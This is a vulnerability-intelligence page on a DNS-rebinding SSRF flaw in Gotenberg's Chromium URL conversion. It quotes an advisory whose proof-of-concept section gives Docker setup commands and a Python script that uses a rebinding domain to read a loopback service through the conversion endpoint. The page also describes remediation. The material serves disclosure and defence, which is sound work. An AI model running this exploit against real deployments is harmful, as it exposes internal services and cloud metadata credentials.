Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker controls DNS for hostname
-
DeliverySubmits URL to Chromium conversion endpoint
-
ExploitGotenberg validates URL and discards pinned IP
-
InstallChromium resolves hostname (receives public IP)
-
C2Attacker switches DNS response to private IP
-
ExecuteFetch.requestPaused re-checks URL without pinning
-
ImpactChromium connects to private IP
-
Step 8Internal service response rendered as PDF
-
Step 9Attacker receives sensitive data
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V15 - Secure Coding and Architecture TOCTOU prevention
|
| Exploitation Conditions | Exploitation requires four concrete conditions, all of which are met in default Gotenberg deployments: (1) The attacker must control authoritative DNS for at least one hostname with short TTL (< 1 second), allowing query-by-query response changes; this is within typical attacker capability via domain registration or DNS hijacking. (2) The target internal service must be accessible via HTTP (not requiring client certificates or Chromium-unsupported protocols). (3) The Chromium conversion endpoints must be enabled and reachable by the attacker (default configuration). (4) The target Gotenberg instance must run internal HTTP services on loopback or private IP ranges that the default deny-list would block if directly accessed (e.g., metadata endpoints at |
| Impact | This vulnerability combines low CVSS score (5.3: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) with high real-world risk and confirms the CVSS limitation for complex race conditions. The CVSS score reflects confidentiality impact only (C:L) and appears to underestimate the practical severity. Attack vector is network-accessible and requires no authentication or user interaction, making it trivially executable by any Internet attacker. The complexity is low because DNS rebinding is a well-established technique; the PoC demonstrates approximately 10% success rate per request with minimal effort required. EPSS score and KEV status are not provided in the input data, so exploitation frequency in the wild cannot be independently confirmed, but the PoC output and public GitHub advisory strongly indicate this is reproducible against unpatched versions. The vulnerability is not automatically exploitable against all deployments - it requires an attacker to control DNS for at least one hostname and the target to run services on loopback or private networks that the attacker wants to reach. However, in containerized deployments (Docker is explicitly mentioned in tags), loopback services and sidecar metadata endpoints are common, making exploitation likely in many real-world Gotenberg instances. The race condition window is narrow but reliable: the PoC achieves 2/20 (10%) hits without optimization, suggesting an attacker running hundreds of requests across multiple subdomains would easily exceed that baseline. Compensating controls (blocking outbound DNS, pinning Chromium host resolver rules) exist but require operator configuration - default deployments are vulnerable. |
| Exploit ScenarioDerived | An attacker registers or hijacks a domain (e.g., |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 07, 2026
DNS rebinding vulnerability in Gotenberg allows unauthenticated remote attackers to bypass SSRF protections and access internal services via Chromium URL conversion routes. When a URL is submitted for PDF conversion, Gotenberg validates the resolved IP address against a deny-list but discards the pinned result. Chromium then performs independent DNS resolution multiple times, creating a race condition where an attacker controlling DNS can return a public IP during validation and a private IP during connection, allowing access to loopback services, cloud metadata endpoints, or internal networks. Exploitation succeeds approximately 10% per attempt with trivial automation.
RemediationAI
No vendor-released patch identified at time of analysis per the input data. The GitHub advisory at https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3 recommends pinning resolved IPs through Chromium's network stack by exporting the internal decideOutbound function as DecideOutbound and rewriting URLs in the Fetch.requestPaused handler to use pinned IPs, or alternatively passing per-request --host-resolver-rules to Chromium derived from the initial validation. Until a patch is released, operators can apply these mitigations: (1) Disable Chromium URL conversion endpoints if not required, eliminating the attack surface entirely; (2) Configure --chromium-host-resolver-rules='MAP <internal-hostname> <pinned-ip>' for known internal services, which uses Chromium's native host resolver override mechanism to pin DNS responses per request (trade-off: requires operator knowledge of internal infrastructure); (3) Block outbound DNS from the Gotenberg container to untrusted nameservers, forcing DNS queries through a corporate resolver under operator control (trade-off: reduces flexibility for legitimate URL conversions); (4) Restrict network access to Gotenberg's ports to trusted clients only, reducing exposure (trade-off: may conflict with legitimate use cases). None of these are complete until the code fix is implemented.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gotenberg's outbound filtering validates URLs by resolving hostnames and checking resolved IPs against private-address deny-lists (RFC 1918, 169.254.0.0/16, etc.), but the FilterOutboundURL function in pkg/gotenberg/outbound.go discards the pinned IP addresses after validation and returns only the error status. When the Chromium conversion path receives a URL, it passes the raw hostname string to Chromium's Chrome DevTools Protocol (CDP) at pkg/modules/chromium/browser.go:341, which triggers independent DNS resolution in Chromium's native network stack. The CDP Fetch.requestPaused handler at pkg/modules/chromium/events.go:55 performs a second validation by calling FilterOutboundURL again, but this also discards pinned IPs. Between the handler's DNS resolution and Chromium's actual TCP connect, a timing window exists where an attacker controlling authoritative DNS with short TTLs can switch responses. In contrast, the webhook and downloadFrom paths use gotenberg.NewOutboundHttpClient with a secureDialContext that enforces IP pinning throughout the HTTP client lifecycle, preventing the rebind attack. The root cause is CWE-367 (Time-of-check Time-of-use Race Condition): validation occurs at one moment but the security-critical connection decision (TCP connect) happens asynchronously with no guarantee the hostname still resolves to the same address.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Primary rating from Vendor (https://github.com/gotenberg/gotenberg).
CVSS VectorVendor: https://github.com/gotenberg/gotenberg
Lifecycle Timeline
2DescriptionCVE.org
Summary
FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.
Details
pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:
func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
_, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
return err
}The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.
The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.
The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.
Proof of Concept
Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.
Setup:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
'mkdir -p /tmp/rebind_srv && \
echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'Alice runs the attack without auth:
import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"
hits = 0
for i in range(20):
r = requests.post(
f"{T}/forms/chromium/convert/url",
files={"url": (None, REBIND)},
timeout=30,
)
if r.status_code != 200:
continue
open("/tmp/_r.pdf", "wb").write(r.content)
txt = subprocess.run(
["pdftotext", "/tmp/_r.pdf", "-"],
capture_output=True, text=True,
).stdout
if MARKER in txt:
hits += 1
print(f"{hits}/20 rebind hits")Observed output against gotenberg 8.31.0:
2/20 rebind hitsThe marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.
Impact
An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.
Recommended Fix
Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:
decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
allow = false
} else if len(decision.Pinned) > 0 {
pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.
--- *Found by aisafe.io*
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Related Vulnerabilities in Gotenberg SSRF and Path Traversal Flaws
View all 8An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-30315
GHSA-2pmr-289p-44r3
NVD
CVE.org
EPSS
Exploit-DB